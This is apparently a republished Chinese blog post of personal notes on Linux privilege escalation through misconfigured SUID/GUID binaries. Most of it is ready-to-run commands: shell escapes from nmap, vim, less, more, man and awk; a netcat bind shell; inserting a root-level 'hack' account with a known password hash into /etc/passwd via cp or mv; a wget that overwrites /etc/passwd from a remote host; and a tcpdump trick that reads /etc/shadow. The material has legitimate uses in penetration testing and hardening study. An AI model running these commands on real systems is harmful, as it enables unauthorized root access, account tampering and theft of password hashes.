前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >linux提权-Suid和Guid配置错误

linux提权-Suid和Guid配置错误

作者头像
黑白天安全
发布2020-10-23 14:55:00
1.8K0
发布2020-10-23 14:55:00
举报

描述

SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文件。例如,Linux ping命令通常需要root权限才能打开网络套接字。通过将ping程序标记为SUID(所有者为root),只要低特权用户执行ping程序,便会以root特权执行ping。

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

当运行具有suid权限的二进制文件时,它将以其他用户身份运行,因此具有其他用户特权。它可以是root用户,也可以只是另一个用户。如果在程序中设置了suid,该位可以生成shell或以其他方式滥用,我们可以使用它来提升我们的特权。

以下是一些可用于产生SHELL的程序:

代码语言:javascript
复制
nmap
代码语言:javascript
复制
vim
代码语言:javascript
复制
less
代码语言:javascript
复制
more
代码语言:javascript
复制
nano
代码语言:javascript
复制
cp
代码语言:javascript
复制
mv
代码语言:javascript
复制
find

查找suid和guid文件

代码语言:javascript
复制
Find SUID
代码语言:javascript
复制
find / -perm -u=s -type f 2>/dev/null
代码语言:javascript
复制
代码语言:javascript
复制
Find GUID
代码语言:javascript
复制
find / -perm -g=s -type f 2>/dev/null
代码语言:javascript
复制

其他命令

代码语言:javascript
复制
查找SUID文件

也可以使用 sudo -l 命令列出当前用户可执行的命令

常用提权方式

nmap

代码语言:javascript
复制
find / -perm -u = s -type f 2> / dev / null –查找设置了SUID位的可执行文件
代码语言:javascript
复制
ls -la / usr / local / bin / nmap –让我们确认nmap是否设置了SUID位。

Nmap的SUID位置1。很多时候,管理员将SUID位设置为nmap,以便可以有效地扫描网络,因为如果不使用root特权运行它,则所有的nmap扫描技术都将无法使用。

但是,nmap(2.02-5.21)存在交换模式,可利用提权,我们可以在此模式下以交互方式运行nmap,从而可以转至shell。如果nmap设置了SUID位,它将以root特权运行,我们可以通过其交互模式访问'root'shell。

代码语言:javascript
复制
nmap –interactive –运行nmap交互模式
代码语言:javascript
复制
代码语言:javascript
复制
!sh –我们可以从nmap shell转到系统shell
代码语言:javascript
复制

msf中的模块为:

代码语言:javascript
复制
exploit/unix/local/setuid_nmap
代码语言:javascript
复制

较新版可使用 --script 参数:

代码语言:javascript
复制
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse

find

代码语言:javascript
复制
touch test
代码语言:javascript
复制

nc 反弹 shell:

代码语言:javascript
复制
find test -exec netcat -lvp 5555 -e /bin/sh \;
代码语言:javascript
复制

vi/vim

打开vim,按下ESC

代码语言:javascript
复制
:set shell=/bin/sh
代码语言:javascript
复制
:shell
代码语言:javascript
复制
或者
代码语言:javascript
复制
sudo vim -c '!sh'
代码语言:javascript
复制

bash

代码语言:javascript
复制
bash -p
代码语言:javascript
复制
代码语言:javascript
复制
bash-3.2# id
代码语言:javascript
复制
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
代码语言:javascript
复制

less

代码语言:javascript
复制
less /etc/passwd
代码语言:javascript
复制
代码语言:javascript
复制
!/bin/sh
代码语言:javascript
复制

more

代码语言:javascript
复制
more /home/pelle/myfile
代码语言:javascript
复制
代码语言:javascript
复制
!/bin/bash
代码语言:javascript
复制

cp

覆盖 /etc/shadow 或 /etc/passwd

[zabbix@localhost ~]$ cat /etc/passwd >passwd

代码语言:javascript
复制
[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
代码语言:javascript
复制
$1$hack$WTn0dk2QjNeKfl.DHOUue0
代码语言:javascript
复制
[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
代码语言:javascript
复制
[zabbix@localhost ~]$ cp passwd /etc/passwd
代码语言:javascript
复制
[zabbix@localhost ~]$ su - hack
代码语言:javascript
复制
Password:
代码语言:javascript
复制
[root@361way ~]# id
代码语言:javascript
复制
uid=0(hack) gid=0(root) groups=0(root)
代码语言:javascript
复制
[root@361way ~]# cat /etc/passwd|tail -1
代码语言:javascript
复制
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

mv

覆盖 /etc/shadow/etc/passwd

代码语言:javascript
复制
[zabbix@localhost ~]$ cat /etc/passwd >passwd
代码语言:javascript
复制
[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
代码语言:javascript
复制
$1$hack$WTn0dk2QjNeKfl.DHOUue0
代码语言:javascript
复制
[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
代码语言:javascript
复制
[zabbix@localhost ~]$ mv passwd /etc/passwd
代码语言:javascript
复制
[zabbix@localhost ~]$ su - hack
代码语言:javascript
复制
Password:
代码语言:javascript
复制
[root@361way ~]# id
代码语言:javascript
复制
uid=0(hack) gid=0(root) groups=0(root)
代码语言:javascript
复制
[root@361way ~]# cat /etc/passwd|tail -1
代码语言:javascript
复制
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

nano

代码语言:javascript
复制
nano  /etc/passwd

awk

代码语言:javascript
复制
awk 'BEGIN {system("/bin/sh")}'
代码语言:javascript
复制

man

代码语言:javascript
复制
man passwd
代码语言:javascript
复制
代码语言:javascript
复制
!/bin/bash

wget

代码语言:javascript
复制
wget http://192.168.56.1:8080/passwd -O /etc/passwd
代码语言:javascript
复制

apache

仅可查看文件,不能弹 shell:

代码语言:javascript
复制
apache2 -f /etc/shadow

tcpdump

代码语言:javascript
复制
echo $'id\ncat /etc/shadow' > /tmp/.test
代码语言:javascript
复制
代码语言:javascript
复制
chmod +x /tmp/.test
代码语言:javascript
复制
代码语言:javascript
复制
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
代码语言:javascript
复制

python/perl/ruby/lua/php/etc

python

代码语言:javascript
复制
 python -c "import os;os.system('/bin/bash')"

perl

代码语言:javascript
复制
exec "/bin/bash";
代码语言:javascript
复制

一点以前的笔记

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档